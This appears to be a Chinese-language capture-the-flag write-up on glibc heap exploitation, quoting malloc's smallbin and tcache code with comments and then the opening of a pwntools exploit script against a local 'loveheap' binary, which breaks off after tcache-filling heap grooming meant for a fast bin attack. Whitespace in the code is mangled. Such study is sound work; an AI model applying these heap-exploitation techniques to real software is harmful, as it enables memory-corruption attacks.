/* If a small request, check regular bin. Since these "smallbins" hold one size each, no searching within bins is necessary. (For a large request, we need to wait until unsorted chunks are processed to find best fit. But for small ones, fits are exact anyway, so we can check now, which is faster.) */ if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ( ( victim = last (bin) ) != bin ) { // 先获取一下small bin chunk的倒数第二个chunk。 bck = victim->bk; //检查我们刚获取的bck->fd是不是 victim,以防止伪造 if ( __glibc_unlikely( bck->fd != victim ) ) malloc_printerr ("malloc(): smallbin double linked list corrupted"); set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE //如果程序启用了Tcache /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */ while ( tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin) ) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); } } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }
我们可以看到,这里存在校验来保证获取的chunk不会被伪造
我们再仔细看看tcache部分
#if USE_TCACHE //如果程序启用了Tcache /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ //找到对应size的small_bin链表 size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */ //判断刚才获取size的chunk链表是否 //判断该size的small bin是否为空 while ( tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin) ) != bin) { //如果chunk存在 if (tc_victim != 0) { // 找到其上面一个chunk bck = tc_victim->bk; //设置标志位 set_inuse_bit_at_offset (tc_victim, nb); // 如果small bin不为空 if (av != &main_arena) set_non_main_arena (tc_victim); //取出Chunk bin->bk = bck; bck->fd = bin; //放入到Tcache中 tcache_put (tc_victim, tc_idx); } } } #endif
ru = lambda p, x : p.recvuntil(x) sn = lambda p, x : p.send(x) rl = lambda p : p.recvline() sl = lambda p, x : p.sendline(x) rv = lambda p, x=1024 : p.recv(numb = x) sa = lambda p, a, b : p.sendafter(a,b) sla = lambda p, a, b : p.sendlineafter(a,b) rr = lambda p, t : p.recvrepeat(t) rd = lambda p, x : p.recvuntil(x, drop=True)
defrecv(flag='libc'): if flag == 'heap': leak=u64(rv(io,6).ljust(8,b'\x00')) if flag == 'libc': leak=u64(ru(io,'\x7f')[-6:].ljust(8,b'\x00')) return leak
io=process('./loveheap')
defadd(size): sla(io,'>>','1') sla(io,'Please input the size\n',str(size)) defdelete(idx): sla(io,'>>','2') sla(io,'Pls input the idx\n',str(idx)) defedit(idx,cont): sla(io,'>>','3') sla(io,'Pls input the idx\n', str(idx)) sa(io,'Pls input the content:\n', cont) defshow(idx): sla(io,'>>','4') sla(io,'Pls input the idx\n', str(idx))
#************ #1.填满tcache #************
for i inrange(8): add(0x68) # 0-7 多释放一个fast bin 来为后面fast bin attack做准备 delete(i)
for i inrange(6): add(0x90) # 8-13 for i inrange(6): delete(i+8)
for i inrange(7): add(0x190) # 14-20 for i inrange(7): delete(i+14)
for i inrange(7): add(0xe0) # 21-27 for i inrange(7): delete(i+21)